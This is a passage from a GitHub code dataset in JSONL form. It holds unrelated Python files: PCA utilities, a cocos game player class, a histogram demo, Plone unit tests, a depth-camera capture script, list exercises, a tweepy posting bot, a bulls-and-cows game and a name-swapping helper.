:param n_train_data: number of samples to consider in the training data (in order to make the PCA faster using less data)\n :param n_test_data: number of samples to consider in the testing data (in order to make the PCA faster using less data)\n :param n_bootstraps: number of bootstrap subsamples to perform\n :return: the losses of the same NN trained in the PCA space and with the original data\n \"\"\"\n # read and eventually cut the data for a quicker PCA computation\n X_train, y_train, X_test, y_test = nn_utilities.read_train_test(task, base_data_path)\n n_train_data = n_train_data if n_train_data is not None else len(X_train)\n n_test_data = n_test_data if n_test_data is not None else len(X_test)\n X_train, y_train, X_test, y_test = X_train[:n_train_data], y_train[:n_train_data], X_test[:n_test_data], y_test[:n_test_data]\n\n # compute SVD of training and testing data\n U_tr, S_tr, V_tr, singular_values_tr = svd(X_train)\n U_ts, S_ts, V_ts, _ = svd(X_test)\n\n # check the energy contained in each singular value\n tot = np.sum(singular_values_tr)\n cum_perc = 0\n n_sufficient = len(singular_values_tr)\n for i, value in enumerate(singular_values_tr):\n perc = value * 100 / tot\n print(f\"Singular value {i + 1}: {perc:.3f}% of the energy\")\n cum_perc += perc\n if cum_perc >= energy_perc:\n n_sufficient = i + 1\n break\n print(f\"{n_sufficient} singular values are enough to capture {cum_perc}% of the energy\")\n\n # reconstruct the data using only the first 'n_sufficient' singular values\n S_tr = S_tr[:, :n_sufficient]\n S_ts = S_ts[:, :n_sufficient]\n V_tr = V_tr[:n_sufficient, :n_sufficient]\n V_ts = V_ts[:n_sufficient, :n_sufficient]\n\n # recontruct the data in the PCA space to train the network with\n data_pca_train = U_tr @ S_tr @ V_tr.T\n data_pca_test = U_ts @ S_ts @ V_ts.T\n\n # train the NN on the PCA data\n losses_pca = nn_utilities.bootstrapped_cv(hidden_dims=hidden_dims, data=data_pca_train, targets=y_train, test_data=data_pca_test,\n test_targets=y_test, kfolds=kfolds, epochs=epochs, batch_size=batch_size, n_bootstraps=n_bootstraps,\n bootstrap_dim=bootstrap_dim)\n\n # train the same NN on the original data\n losses_no_pca = nn_utilities.bootstrapped_cv(hidden_dims=hidden_dims, data=X_train, targets=y_train, test_data=X_test, test_targets=y_test,\n kfolds=kfolds, epochs=epochs, batch_size=batch_size, n_bootstraps=n_bootstraps,\n bootstrap_dim=bootstrap_dim)\n\n return losses_pca, losses_no_pca\n\n\nif __name__ == '__main__':\n path = \"../data/vadere_bottleneck_100_90\"\n plot_fd_and_speeds(data_path=path)\n","repo_name":"AlexPasqua/MLCMS-project","sub_path":"src/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":17115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"30990468960","text":"import math\nimport random\n\nimport cocos\nimport cocos.euclid as eu\n\nfrom collidable import Collidable\n\nimport config\n\nclass Sensor():\n def __init__(self, fov, angle, max_range):\n self.fov = fov\n self.angle = angle\n self.max_range = max_range\n self.proximity = self.max_range\n self.sensed_type = ''\n self.line = None\n\n def proximity_norm(self):\n return max(0, min(self.proximity / self.max_range, self.max_range))\n\nclass Player(Collidable):\n \"\"\"\n Player\n\n Responsabilities:\n Keeps state information for player\n \"\"\"\n\n def __init__(self, cx, cy, velocity=None):\n settings = config.settings['player']\n super(Player, self).__init__(cx, cy, settings['radius'], 'player', config.pics['player'])\n\n if velocity is None:\n velocity = eu.Vector2(0.0, 0.0)\n self.velocity = velocity\n\n self.impulse_dir = eu.Vector2(0.0, 1.0)\n\n self.top_speed = settings['top_speed']\n self.angular_velocity = settings['angular_velocity']\n self.accel = settings['accel']\n self.deaccel = settings['deaccel']\n\n self.game_over = False\n self.battery_use = settings['battery_use']\n\n self.stats = {\n \"battery\": 100,\n \"reward\": 0,\n \"score\": 0\n }\n\n # Spawn with random bearing\n #self.rotation = (random.random() * 360) - 180\n\n # `actions` reserved by cocos, collision_model attempts to remove\n self.controls = settings['actions']\n\n sensor_num = settings['sensors']['num']\n sensor_fov = settings['sensors']['fov']\n sensor_max = settings['sensors']['max_range']\n\n # Create sensors\n self.sensors = []\n for i in range(0, sensor_num):\n rad = (i-((sensor_num)/2))*sensor_fov;\n sensor = Sensor(sensor_fov, rad, sensor_max)\n self.sensors.append(sensor)\n #print('Initialised sensor', i, rad)\n\n def get_reward(self):\n \"\"\"\n Return reward and reset for next step\n \"\"\"\n reward = self.stats['reward']\n self.stats['reward'] = 0\n\n return reward\n\n def update_rotation(self, dt, buttons):\n \"\"\"\n Updates rotation and impulse direction\n \"\"\"\n assert isinstance(buttons, dict)\n\n ma = buttons['right'] - buttons['left']\n if ma != 0:\n self.stats['battery'] -= self.battery_use['angular']\n self.rotation += ma * dt * self.angular_velocity\n\n # Redirect velocity in new direction\n a = math.radians(self.rotation)\n self.impulse_dir = eu.Vector2(math.sin(a), math.cos(a))\n\n def do_move(self, dt, buttons):\n \"\"\"\n Updates velocity and returns Rects for start/finish positions\n \"\"\"\n assert isinstance(dt, int) or isinstance(dt, float)\n assert isinstance(buttons, dict)\n\n newVel = self.velocity\n\n # Redirect existing vel to new direction.\n nv = newVel.magnitude()\n newVel = nv * self.impulse_dir\n\n mv = buttons['up']\n if mv != 0:\n self.stats['battery'] -= self.battery_use['linear']\n newVel += dt * mv * self.accel * self.impulse_dir\n nv = newVel.magnitude()\n if nv > self.top_speed:\n newVel *= self.top_speed / nv\n else:\n newVel += dt * self.deaccel * -newVel\n\n # Position collision rects\n oldRect = self.get_rect()\n newRect = oldRect.copy()\n newRect.x, newRect.y = self.get_destination(dt, newVel)\n\n return oldRect, newRect, newVel\n\n def get_destination(self, dt, velocity):\n \"\"\"\n Apply velocity and return new position\n \"\"\"\n assert isinstance(velocity, eu.Vector2)\n\n oldPos = self.cshape.center\n remaining_dt = dt\n newPos = oldPos.copy()\n\n while remaining_dt > 1.e-6:\n newPos = oldPos + remaining_dt * velocity\n consumed_dt = remaining_dt\n # what about screen boundaries ? if colision bounce\n #if new.x < r:\n # consumed_dt = (r - ppos.x) / newVel.x\n # new = ppos + consumed_dt * newVel\n # newVel = -reflection_y(newVel)\n #if new.x > (self.width - r):\n # consumed_dt = (self.width - r - ppos.x) / newVel.x\n # new = ppos + consumed_dt * newVel\n # newVel = -reflection_y(newVel)\n #if new.y < r:\n # consumed_dt = (r - ppos.y) / newVel.y\n # new = ppos + consumed_dt * newVel\n # newVel = reflection_y(newVel)\n #if new.y > (self.height - r):\n # consumed_dt = (self.height - r - ppos.y) / newVel.y\n # new = ppos + consumed_dt * newVel\n # newVel = reflection_y(newVel)\n remaining_dt -= consumed_dt\n\n # Upper left corner of Rect\n # FIXME: Use top, left\n newPos.x -= self.cshape.r\n newPos.y -= self.cshape.r\n\n return newPos\n","repo_name":"gian1312/suchen","sub_path":"ENV/tensorforce-master/mazerunner/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":5043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29415379893","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.random.random_integers(1, 100, 5)\nprint(x)\nplt.axis([0, 100, 0, 2])\nplt.hist(x, bins=20)\n# understanding bin is important : bin means dividing the range into bin\n# for eg: if no of bin are 2 then divide the range into 2 ranges o.e( range by 2)\n# for 10 : divide into 10 equal space\nplt.ylabel('No of times')\nplt.show()\n","repo_name":"mayanks888/AI","sub_path":"Python/python_code/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"16491347524","text":"# tmp = list(map(int,input().strip()))\nimport sys\ninput = sys.stdin.readline\n\ns = list(map(int,input().split()))\nprint(s)\n\n#> 1234\n# [1234]\n#> 1 2 3 4\n# [1, 2, 3, 4]\n\ns = list(map(int,input()))\nprint(s)\n\n# 1234\n# '\\n'\n\ns = list(map(int,input().strip()))\nprint(s)\n#> 1234\n# [1, 2, 3, 4]\n# >1 2 3 4\n# ValueError: invalid literal for int() with base 10: ' '\n\n\ns = list(map(int,input().strip().split()))\nprint(s)\n# >1234\n# [1234]\n# >1 2 3 4\n# [1, 2, 3, 4]","repo_name":"Forbuds/Problem_solving","sub_path":"입출력.py","file_name":"입출력.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43711503109","text":"from zope.annotation.interfaces import IAnnotations\n\nfrom plone.app.testing import login, logout\n\nfrom .base import IntegrationTestCase, setRelations\nfrom .base import MANAGER_ID, USER_A_ID, USER_B_ID, USER_C_ID\n\n\nclass ListingViewTest(IntegrationTestCase):\n\n def test_lectureListing(self):\n \"\"\"Get counts of questions within lectures\"\"\"\n portal = self.layer['portal']\n self.path = 'dept1/tut1'\n login(portal, MANAGER_ID)\n\n # Each has 2 questions out of the box\n self.assertEquals(self.getView().lectureListing(), [\n {'id': 'lec1', 'title': 'Unittest D1 T1 L1',\n 'url': 'http://nohost/plone/dept1/tut1/lec1',\n 'sync_url': 'http://nohost/plone/dept1/tut1/lec1/quizdb-sync',\n 'pdf': None, 'questions': 2, 'slides': 0},\n {'id': 'lec2', 'title': 'Unittest D1 T1 L2',\n 'url': 'http://nohost/plone/dept1/tut1/lec2',\n 'sync_url': 'http://nohost/plone/dept1/tut1/lec2/quizdb-sync',\n 'pdf': None, 'questions': 2, 'slides': 0},\n ])\n\n def test_lectureListingMultiple(self):\n \"\"\"Get counts of questions within lectures\"\"\"\n portal = self.layer['portal']\n self.path = 'dept1/tut1'\n login(portal, MANAGER_ID)\n\n # Add some more lectures, we see them in the view too\n # NB: This is a separate test since otherwise we trip over memoize\n portal['dept1']['tut1']['lec1'].invokeFactory(\n type_name=\"tw_latexquestion\",\n id=\"qn3\",\n title=\"Unittest D1 T1 L1 Q3\",\n )\n portal['dept1']['tut1']['lec1'].invokeFactory(\n type_name=\"tw_latexquestion\",\n id=\"qn4\",\n title=\"Unittest D1 T1 L1 Q4\",\n )\n self.assertEquals(self.getView().lectureListing(), [\n {'id': 'lec1', 'title': 'Unittest D1 T1 L1',\n 'url': 'http://nohost/plone/dept1/tut1/lec1',\n 'sync_url': 'http://nohost/plone/dept1/tut1/lec1/quizdb-sync',\n 'pdf': None, 'questions': 4, 'slides': 0},\n {'id': 'lec2', 'title': 'Unittest D1 T1 L2',\n 'url': 'http://nohost/plone/dept1/tut1/lec2',\n 'sync_url': 'http://nohost/plone/dept1/tut1/lec2/quizdb-sync',\n 'pdf': None, 'questions': 2, 'slides': 0},\n ])\n\n def test_lectureListingOrdering(self):\n \"\"\"Lectures should appear in right order, even if added after\"\"\"\n portal = self.layer['portal']\n self.path = 'dept1/tut1'\n login(portal, MANAGER_ID)\n\n # NB: This is a separate test since otherwise we trip over memoize\n portal['dept1']['tut1'].invokeFactory(\n type_name=\"tw_lecture\",\n id=\"lec0\",\n title=\"ZZUnittest D1 T1 L0\",\n )\n\n self.assertEquals(self.getView().lectureListing(), [\n {'id': 'lec0', 'title': 'ZZUnittest D1 T1 L0',\n 'url': 'http://nohost/plone/dept1/tut1/lec0',\n 'sync_url': 'http://nohost/plone/dept1/tut1/lec0/quizdb-sync',\n 'pdf': None, 'questions': 0, 'slides': 0},\n {'id': 'lec1', 'title': 'Unittest D1 T1 L1',\n 'url': 'http://nohost/plone/dept1/tut1/lec1',\n 'sync_url': 'http://nohost/plone/dept1/tut1/lec1/quizdb-sync',\n 'pdf': None, 'questions': 2, 'slides': 0},\n {'id': 'lec2', 'title': 'Unittest D1 T1 L2',\n 'url': 'http://nohost/plone/dept1/tut1/lec2',\n 'sync_url': 'http://nohost/plone/dept1/tut1/lec2/quizdb-sync',\n 'pdf': None, 'questions': 2, 'slides': 0},\n ])\n\n def test_fileListing(self):\n \"\"\"Can get listings for any files within current node\"\"\"\n portal = self.layer['portal']\n self.path = 'dept1/tut1'\n\n # Create some files first\n login(portal, MANAGER_ID)\n portal['dept1']['tut1'].invokeFactory(\n type_name=\"File\",\n id=\"filea.pdf\",\n title=\"File A\",\n )\n portal['dept1']['tut1'].invokeFactory(\n type_name=\"File\",\n id=\"fileb.pdf\",\n title=\"File B\",\n )\n self.assertEquals(self.getView().fileListing(), [\n {'title': 'File A',\n 'id': 'filea.pdf',\n 'url': 'http://nohost/plone/dept1/tut1/filea.pdf/view'},\n {'title': 'File B',\n 'id': 'fileb.pdf',\n 'url': 'http://nohost/plone/dept1/tut1/fileb.pdf/view'},\n ])\n\n def test_slideListing(self):\n \"\"\"Can get listings for any slides within current node\"\"\"\n portal = self.layer['portal']\n self.path = 'dept1/tut1/lec1'\n\n # Create some files first\n login(portal, MANAGER_ID)\n portal['dept1']['tut1']['lec1'].invokeFactory(\n type_name=\"tw_slide\",\n id=\"sl01\",\n title=\"Slide B1\",\n )\n portal['dept1']['tut1']['lec1'].invokeFactory(\n type_name=\"tw_slide\",\n id=\"sl02\",\n title=\"Slide A2\",\n )\n self.assertEquals(self.getView().slideListing(), [\n {'title': 'Slide B1',\n 'id': 'sl01',\n 'url': 'http://nohost/plone/dept1/tut1/lec1/sl01'},\n {'title': 'Slide A2',\n 'id': 'sl02',\n 'url': 'http://nohost/plone/dept1/tut1/lec1/sl02'},\n ])\n\n def test_courseListing(self):\n \"\"\"Can get listings for any courses within current node\"\"\"\n portal = self.layer['portal']\n login(portal, MANAGER_ID)\n self.path = 'dept1'\n\n # Here's one we made earlier\n self.assertEquals(self.getView().courseListing(), [\n {'files': 0, 'id': 'course1', 'title': 'Unittest C1',\n 'tutorials': 1, 'url': 'http://nohost/plone/dept1/course1'},\n ])\n\n # Add another tutorial, doesn't automatically appear in course1\n portal['dept1'].invokeFactory(\n type_name=\"tw_tutorial\",\n id=\"tut2\",\n title=\"Unittest D1 T2\",\n )\n self.assertEquals(self.getView().courseListing(), [\n {'files': 0, 'id': 'course1', 'title': 'Unittest C1',\n 'tutorials': 1, 'url': 'http://nohost/plone/dept1/course1'},\n ])\n\n # Add to course1's list\n setRelations(portal['dept1']['course1'], 'tutorials', [\n portal['dept1']['tut1'],\n portal['dept1']['tut2'],\n ])\n self.assertEquals(self.getView().courseListing(), [\n {'files': 0, 'id': 'course1', 'title': 'Unittest C1',\n 'tutorials': 2, 'url': 'http://nohost/plone/dept1/course1'},\n ])\n\n def test_relatedCourses(self):\n \"\"\"Tutorials should know what courses they are related to\"\"\"\n portal = self.layer['portal']\n login(portal, MANAGER_ID)\n self.path = 'dept1/tut1'\n\n self.assertEquals(self.getView().relatedCourses(), [\n dict(url='http://nohost/plone/dept1/course1', title='Unittest C1'),\n ])\n\n # Add another course that also has tut1.\n portal['dept1'].invokeFactory(\n type_name=\"tw_course\",\n id=\"course2\",\n title=\"Unittest C2\",\n )\n setRelations(portal['dept1']['course2'], 'tutorials', [\n portal['dept1']['tut1'],\n ])\n self.assertEquals(self.getView().relatedCourses(), [\n dict(url='http://nohost/plone/dept1/course1', title='Unittest C1'),\n dict(url='http://nohost/plone/dept1/course2', title='Unittest C2'),\n ])\n\n def test_quizUrl(self):\n \"\"\"Should formulate a quiz URL\"\"\"\n self.path = 'dept1/tut1/lec2'\n self.assertEquals(\n self.getView().quizUrl(),\n \"http://nohost/plone/++resource++tutorweb.quiz/quiz.html\" +\n \"?lecUri=http%3A%2F%2Fnohost%2Fplone%2Fdept1%2Ftut1%2Flec2%2Fquizdb-sync\"\n )\n # For the tutorial above it formulates a link to the first lecture\n self.path = 'dept1/tut1'\n self.assertEquals(\n self.getView().quizUrl(),\n \"http://nohost/plone/++resource++tutorweb.quiz/quiz.html\" +\n \"?lecUri=http%3A%2F%2Fnohost%2Fplone%2Fdept1%2Ftut1%2Flec1%2Fquizdb-sync\"\n )\n\n # Create a new tutorial with no lectures, not going to be very\n # interesting\n portal = self.layer['portal']\n login(portal, MANAGER_ID)\n portal['dept1'].invokeFactory(\n type_name=\"tw_tutorial\",\n id=\"tut2\",\n title=\"Unittest D1 T2\",\n )\n self.path = 'dept1/tut2'\n self.assertEquals(self.getView().quizUrl(), '#')\n\n # Can specify which object we want the quiz URL for\n # NB: tut2 isn't used as tutorial, is irrelevant\n self.path = 'dept1/tut2'\n self.assertEquals(\n self.getView().quizUrl(portal['dept1']['tut1']['lec2']),\n \"http://nohost/plone/++resource++tutorweb.quiz/quiz.html\" +\n \"?lecUri=http%3A%2F%2Fnohost%2Fplone%2Fdept1%2Ftut1%2Flec2%2Fquizdb-sync\"\n )\n\n def test_partOfClass(self):\n \"\"\"Is the user part of a class?\"\"\"\n def isInClass(user):\n # Clear out plone.memoize cache\n anno = IAnnotations(self.layer['request'])\n if 'plone.memoize' in anno:\n del anno['plone.memoize']\n # Login as appropriate user\n if user:\n login(portal, user)\n else:\n logout()\n self.path = 'classa'\n return self.getView().partOfClass()\n portal = self.layer['portal']\n\n # Nobody is part of empty class\n login(portal, MANAGER_ID)\n portal.invokeFactory(\n type_name=\"tw_class\",\n id=\"classa\",\n title=\"Unittest ClassA\",\n )\n self.assertFalse(isInClass(USER_A_ID))\n self.assertFalse(isInClass(USER_B_ID))\n self.assertFalse(isInClass(USER_C_ID))\n self.assertFalse(isInClass(None))\n\n # Add users A and C\n login(portal, MANAGER_ID)\n portal['classa'].students = [USER_A_ID, USER_C_ID]\n self.assertTrue(isInClass(USER_A_ID))\n self.assertFalse(isInClass(USER_B_ID))\n self.assertTrue(isInClass(USER_C_ID))\n self.assertFalse(isInClass(None))\n\n def test_canEdit(self):\n \"\"\"Make sure regular users can't edit\"\"\"\n portal = self.layer['portal']\n self.path = 'dept1/tut1/lec1'\n\n # User A is just a member, can't edit\n login(portal, USER_A_ID)\n self.assertFalse(self.getView().canEdit())\n\n # Manager however, can.\n login(portal, MANAGER_ID)\n self.assertTrue(self.getView().canEdit())\n\n def getView(self):\n \"\"\"Get the view for a lecture path\"\"\"\n return self.layer['portal'].restrictedTraverse(self.path + '/view')\n","repo_name":"tutor-web/tutorweb.content","sub_path":"tutorweb/content/tests/test_browser_listing.py","file_name":"test_browser_listing.py","file_ext":"py","file_size_in_byte":10787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35982856184","text":"import argparse\nimport roypy\nimport time\nimport queue\nimport numpy as np\n\nfrom sample_camera_info import print_camera_info\nfrom roypy_sample_utils import CameraOpener, add_camera_opener_options\nfrom roypy_platform_utils import PlatformHelper\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\nclass MyListener(roypy.IDepthImageListener):\n def __init__(self, q):\n super(MyListener, self).__init__()\n self.queue = q\n\n def onNewData(self, data):\n zvalues = []\n for i in range(data.getNumPoints()):\n zvalues.append(data.getCDData(i))\n zarray = np.asarray(zvalues)\n p = zarray.reshape (-1, data.width) \n self.queue.put(p)\n\n def paint (self, data,i):\n \"\"\"Called in the main thread, with data containing one of the items that was added to the\n queue in onNewData.\n \"\"\"\n # create a figure and show the raw data\n plt.figure(1)\n \n data2=np.int_(data)\n \n\n \n data3= np.delete(data2, range(25), axis=0)\n sizeY = np.shape(data3)[0]\n data3= np.delete(data3, range(110,sizeY), axis=0)\n data3= np.delete(data3, range(18), axis=1)\n sizeX = np.shape(data3)[1]\n data3= np.delete(data3, range(200,sizeX), axis=1)\n \n sizeX = np.shape(data3)[1]\n sizeY = np.shape(data3)[0]\n for i2 in range(sizeX):\n for j in range(sizeY):\n if data3[j,i2]>600:\n somme=0\n compteur=0\n indiceminh= min(0,j-10)\n indiceminl= min(0,i2-10)\n indicemaxh= min(0,j+10)\n indicemaxl= min(0,i2+10)\n for k in range(indiceminl,indicemaxl):\n for l in range(indiceminh,indicemaxh):\n if data3[l,k]<600:\n somme=somme+data3[k,l]\n compteur=compteur+1\n if somme > 1 and somme//compteur < 600:\n data3[j,i2]=somme//compteur\n \n else:\n data3[j,i2]=400\n else:\n somme=0\n compteur=0\n distance = 10\n indiceminh= min(0,j-distance)\n indiceminl= min(0,i2-distance)\n indicemaxh= min(0,j+distance)\n indicemaxl= min(0,i2+distance)\n for k in range(indiceminl,indicemaxl):\n for l in range(indiceminh,indicemaxh):\n somme=somme+data3[k,l]\n compteur=compteur+1\n if compteur>0:\n \n data3[j,i2]=somme/compteur\n\n data3[0,0]=380\n\n \n plt.imshow(data3)\n np.savetxt('/home/nvidia/Desktop/repository/matrix'+str(i)+'.txt', data3,fmt='%i', delimiter = ',') \n \n \n plt.show(block = False)\n plt.draw()\n \n # this pause is needed to ensure the drawing for\n # some backends\n plt.pause(0.001)\n\ndef main ():\n platformhelper = PlatformHelper()\n parser = argparse.ArgumentParser (usage = __doc__)\n add_camera_opener_options (parser)\n parser.add_argument (\"--seconds\", type=int, default=10, help=\"duration to capture data (default is 15 seconds)\")\n options = parser.parse_args()\n opener = CameraOpener (options)\n cam = opener.open_camera ()\n cam.setUseCase('MODE_5_45FPS_500')\n print_camera_info (cam)\n print(\"isConnected\", cam.isConnected())\n print(\"getFrameRate\", cam.getFrameRate())\n\n # we will use this queue to synchronize the callback with the main\n # thread, as drawing should happen in the main thread\n q = queue.Queue()\n l = MyListener(q)\n cam.registerDepthImageListener(l)\n cam.startCapture()\n # create a loop that will run for a time (default 15 seconds)\n process_event_queue (q, l, options.seconds)\n cam.stopCapture()\n\ndef process_event_queue (q, painter, seconds):\n # create a loop that will run for the given amount of time\n i=0\n while i<20:\n time.sleep(1)\n \n try:\n # try to retrieve an item from the queue.\n # this will block until an item can be retrieved\n # or the timeout of 1 second is hit\n item = q.get(True, 1)\n except queue.Empty:\n # this will be thrown when the timeout is hit\n break\n else:\n painter.paint (item,i)\n i= 1+i\n print(\"iteration numero \"+str(i))\n\nif (__name__ == \"__main__\"):\n main()\n","repo_name":"Lucas713/3dCamera-NeuralNetwork","sub_path":"python_camera/sample_retrieve_depth_image.py","file_name":"sample_retrieve_depth_image.py","file_ext":"py","file_size_in_byte":4714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7227840257","text":"'''\r\n data1= [ 100,200,'500','6501',400]\r\n process the data1 (hint use type and int)\r\n add all the numbers , find the sum, avg, min and max\r\n use for loop\r\n\r\n\r\n\r\ndata1= [ 100,200,'500','6501',400]\r\ndata1_num=[]\r\n#sum=0\r\nc=0\r\nfor i in data1:\r\n if(type(i)==int):\r\n data1_num.append(i)\r\n c+=1\r\n # sum+=i\r\nprint(\"sum : \",sum(data1_num))\r\nprint(\"Average: \",round(sum(data1_num)/c))\r\nprint(\"Minimum: \",min(data1_num))\r\nprint(\"Maximum:\",max(data1_num))\r\n\r\n2) data2 = (10,22,[45,33,78],[90,99],(10,12,44,100),35,99)\r\n note the above tuple could have lists and other tuple\r\n HINT use type to process using the for loop\r\n Find the total, max, min, avg\r\n\r\n\r\ndata2 = (10,22,[45,33,78],[90,99],(10,12,44,100),35,99)\r\ndata2_new=[]\r\nfor i in data2:\r\n if(type(i)== list):\r\n for j in i:\r\n data2_new+= [j]\r\n print(data2_new)\r\n\r\n elif (type(i) == tuple):\r\n for j in i:\r\n data2_new+= [j]\r\n else:\r\n data2_new += [i]\r\n\r\nprint(sum(data2_new),min(data2_new),max(data2_new),sum(data2_new)/len(data2_new))\r\n\r\n\r\nimport random\r\n\r\ndef random100():\r\n l = []\r\n for i in range(100):\r\n rc = random.randint(1, 1000)\r\n # print(rc)\r\n l.append(rc)\r\n return l\r\n\r\nprint(random100())\r\n\r\nrand = random100()\r\n# rand.sort()\r\nprint('After sorting the list \\n\\t', rand)\r\n\r\nlist_500 = []\r\nlist_1000 = []\r\nlist_odd = []\r\nlist_even = []\r\n\r\nfor i in rand:\r\n if 0 < i <= 500:\r\n list_500.append(i)\r\n else:\r\n list_1000.append(i)\r\n if i % 2 == 0:\r\n list_even.append(i)\r\n else:\r\n list_odd.append(i)\r\n\r\nprint('1 to 500 items :\\t', list_500)\r\nprint('500 to 1000 items :\\t', list_1000)\r\nprint('even items :\\t', list_even)\r\nprint('Odd items :\\t', list_odd)\r\n\r\n\r\nprint('Maximum number from set of odd list : ', max(list_odd))\r\nprint('Minimum number from set of even list : ', min(list_even))\r\nprint('Average of set of even list : ', sum(list_even)/len(list_even))\r\n\r\nlist_odd.sort()\r\nprint(\"\\nAverage of last 10 highest numbers of odd set \", sum(list_odd[-10:])/len(list_odd[-10:]))\r\n'''\r\n\r\nsentance = input('Enter sentence : ')\r\nsentance1 = sentance.upper()\r\n# print(sentance1)\r\nword = sentance1.split()\r\n# print(word)\r\nvowel = ['A', 'E', 'I', 'O', 'U']\r\nvow = set()\r\ndic = {}\r\nA_M = ['A', 'B', 'C', 'D', 'E', 'F', 'J', 'H', 'I', 'J', 'K', 'L', 'M']\r\nN_Z = ['N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']\r\nA_M_List = []\r\nN_Z_List = []\r\nOther_list = []\r\n\r\nfor i in word:\r\n if len(i) > 3:\r\n count = 0\r\n for j in i:\r\n if j in vowel:\r\n count += 1\r\n if count > 2:\r\n vow.add(i)\r\n if i[0] in A_M:\r\n A_M_List.append(i)\r\n elif i[0] in N_Z:\r\n N_Z_List.append(i)\r\n else:\r\n Other_list.append(i)\r\n\r\n# print(l1, '\\n', l2)\r\nprint('Vowel : ', vow)\r\ndic[100] = A_M_List\r\ndic[200] = N_Z_List\r\ndic[300] = Other_list\r\nprint(dic)\r\n","repo_name":"divyabaijuraj/test","sub_path":"python_assign/apr23.py","file_name":"apr23.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42623546122","text":"import tweepy\nimport keys\nimport time\nimport random\nfrom list import list\n\nwhile True:\n\n def api():\n auth = tweepy.OAuthHandler(keys.api_key, keys.api_secret)\n auth.set_access_token(keys.access_token, keys.access_token_secret)\n\n return tweepy.API(auth)\n\n\n random.shuffle(list)\n for message in list: \n def tweet(api: tweepy.API, message:str, image_path=None):\n if image_path:\n api.update_status_with_media(message, image_path)\n else: \n api.update_status(message)\n\n print(\"Confirmation\")\n\n if __name__ =='__main__':\n api=api()\n tweet(api, message)\n time.sleep(10)\n","repo_name":"peacekeeper6/Twitter-Bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"19467388529","text":"\"\"\"\nprojekt_2.py: druhý projekt do Engeto Online Python Akademie\nauthor: Jakub Havel\nemail: havel8jakub@seznam.cz\ndiscord: Kuba H.#6482\n\"\"\"\nimport random\ndef number_cow(hidden, in_number):\n '''\n Determines the occurrence of a number.\n '''\n cow_numbers=[x for x in in_number if x in hidden]\n cow=len(cow_numbers)\n return cow\ndef number_bull(hidden, in_number):\n '''\n Determines the position of a number.\n '''\n bull_numbers = [x for x, y in zip(hidden, in_number) if x == y]\n bull = len(bull_numbers)\n return bull\ndef print_bull(bull):\n '''\n Determines singular or plural form for bull.\n '''\n if bull == 1:\n return \"bull {}\".format(bull)\n else:\n return \"bulls {}\".format(bull)\ndef alignment(bull,cow):\n '''\n Evaluating cow and bull and outputting singular or plural form for cow.\n '''\n if bull > 0:\n cow -= bull\n if cow == 1:\n return \"cow {}\".format(cow)\n else:\n return \"cows {}\".format(cow)\nprint(\"Hi there!\")\nprint(30*\"-\")\nprint(\"I've generated a random 4 digit number for you.\\nLet's play a bulls and cows game.\")\nprint(30*\"-\")\nprint(\"Enter a number:\")\nprint(\"If you want to end, type 'end' into the input.\")\nprint(30*\"-\")\nwhile True:\n numbers = list(range(0,10))\n random.shuffle(numbers)\n if numbers[0] == 0:\n play_number = numbers[1:5]\n else:\n play_number = numbers[:4]\n str_number=\"\"\n for nn in play_number:\n str_number+= str(nn)\n print(str_number)\n count = 0\n used_numbers = set()\n while True:\n variable = input(\">>> \")\n if variable == \"end\":\n print(\"Ending the game.\")\n print(30 * \"-\")\n break\n count += 1\n if not variable.isdigit():\n print(\"Input is not a digit.\")\n print(30 * \"-\")\n continue\n if len(variable) > 4:\n print(\"The input is too long.\")\n print(30 * \"-\")\n continue\n if len(variable) < 4:\n print(\"The input is too short.\")\n print(30 * \"-\")\n continue\n if len(set(variable)) != len(variable):\n print(\"The digits in the input are repeated.\")\n print(30 * \"-\")\n continue\n if variable[0] == \"0\":\n print(\"The input must not start with zero.\")\n print(30 * \"-\")\n continue\n clear_bull = (print_bull(number_bull(str_number, variable)))\n clear_cow = (alignment(number_bull(str_number,variable), number_cow(str_number, variable)))\n if variable == str_number:\n break\n print(\"{}, {}\".format(clear_bull, clear_cow))\n print(\"ACorrect, you've guessed the right numberin %d guesses!\" %(count))\n if count <= 3:\n print(\"That' s amazing.\")\n pass\n elif count <=10:\n print(\"That' s avarage.\")\n pass\n elif count <=16:\n print(\"That' s not so goog.\")\n pass\n else:\n print(\"That' s terrible.\")\n print(30 * \"-\")\n again = input(\"Do you want to play again? yes/no:\")\n if again == \"yes\":\n continue\n else:\n break\n\n","repo_name":"Havel93/Second_task","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2134828135","text":"#!/usr/bin/env python3\n\"\"\"\nByt ordning på två ord. Från indata \"Li Jiarong\" producera och skriv ut \"Jiarong Li\".\n\"\"\"\n\ndef find_space_in_name(name):\n \"\"\"Returns the position of a space character in a name\n or -1 if no name was found.\n \"\"\"\n i = 0\n for i in range(len(name)):\n if name[i] == \" \":\n return i\n return -1\n\ndef switch_order(name):\n space_in_name_index = find_space_in_name(name)\n \n first_part = name[0:space_in_name_index]\n second_part = name[space_in_name_index+1:]\n \n name_with_switched_order = second_part + \" \" + first_part\n return name_with_switched_order\n\ndef 